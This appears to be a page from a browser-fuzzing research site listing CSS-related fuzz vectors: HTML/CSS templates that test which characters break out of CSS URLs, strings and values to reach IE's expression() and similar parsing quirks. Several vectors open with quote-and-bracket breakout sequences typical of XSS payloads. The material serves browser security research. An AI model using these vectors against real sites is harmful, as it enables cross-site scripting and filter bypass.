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Anchor Attributes CSS Closing Comments HTML HTML5 JavaScript Property Protocol Script URL XSS attribute bla bypass challenge char comment data encoding entities entity event events expression flash for fun handler href img innerHTML navigateURL onload properties regex space src string strings style svg tag tags test testing uri vbscript xml

3,386,006 Successful fuzzes

Fuzz Vectors

Searching for "CSS"

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Description Vector Created by
Characters that break out of css urls latest <div id="fuzzelement*num*" style="background:url(about:blank?*chr*;color:#000000;x:);"></div> @garethheyes
Characters to separate class names in class attributes <div class="foo*num**chr*bar">HELLO</div> <script>document.getElementsByClassName('foo*num*')[0]?log(*num*):0</script> @0x6D6172696F
Characters breaking CSS strings allowing expression "'`>ABC<div style="font-family:'foo*chr*;x:expression(log(*num*));/*';">DEF @0x6D6172696F
Characters ending CSS values allowing expressions "'`>ABC<div style="font-family:'foo'*chr*x:expression(log(*num*));/*';">DEF @0x6D6172696F
Characters allowed between CSS expression chars 02 ABC<div style="x:expression*chr*(log(*num*))">DEF @0x6D6172696F
Characters allowed between CSS expression chars 01 ABC<div style="x:exp*chr*ression(log(*num*))">DEF @0x6D6172696F
Characters allowed between CSS prop and expression ABC<div style="x*chr*expression(log(*num*))">DEF @0x6D6172696F
Characters allowed before CSS properties '"`><div id="fuzzelement*num*" style="*chr*color:#000000;"></div> @garethheyes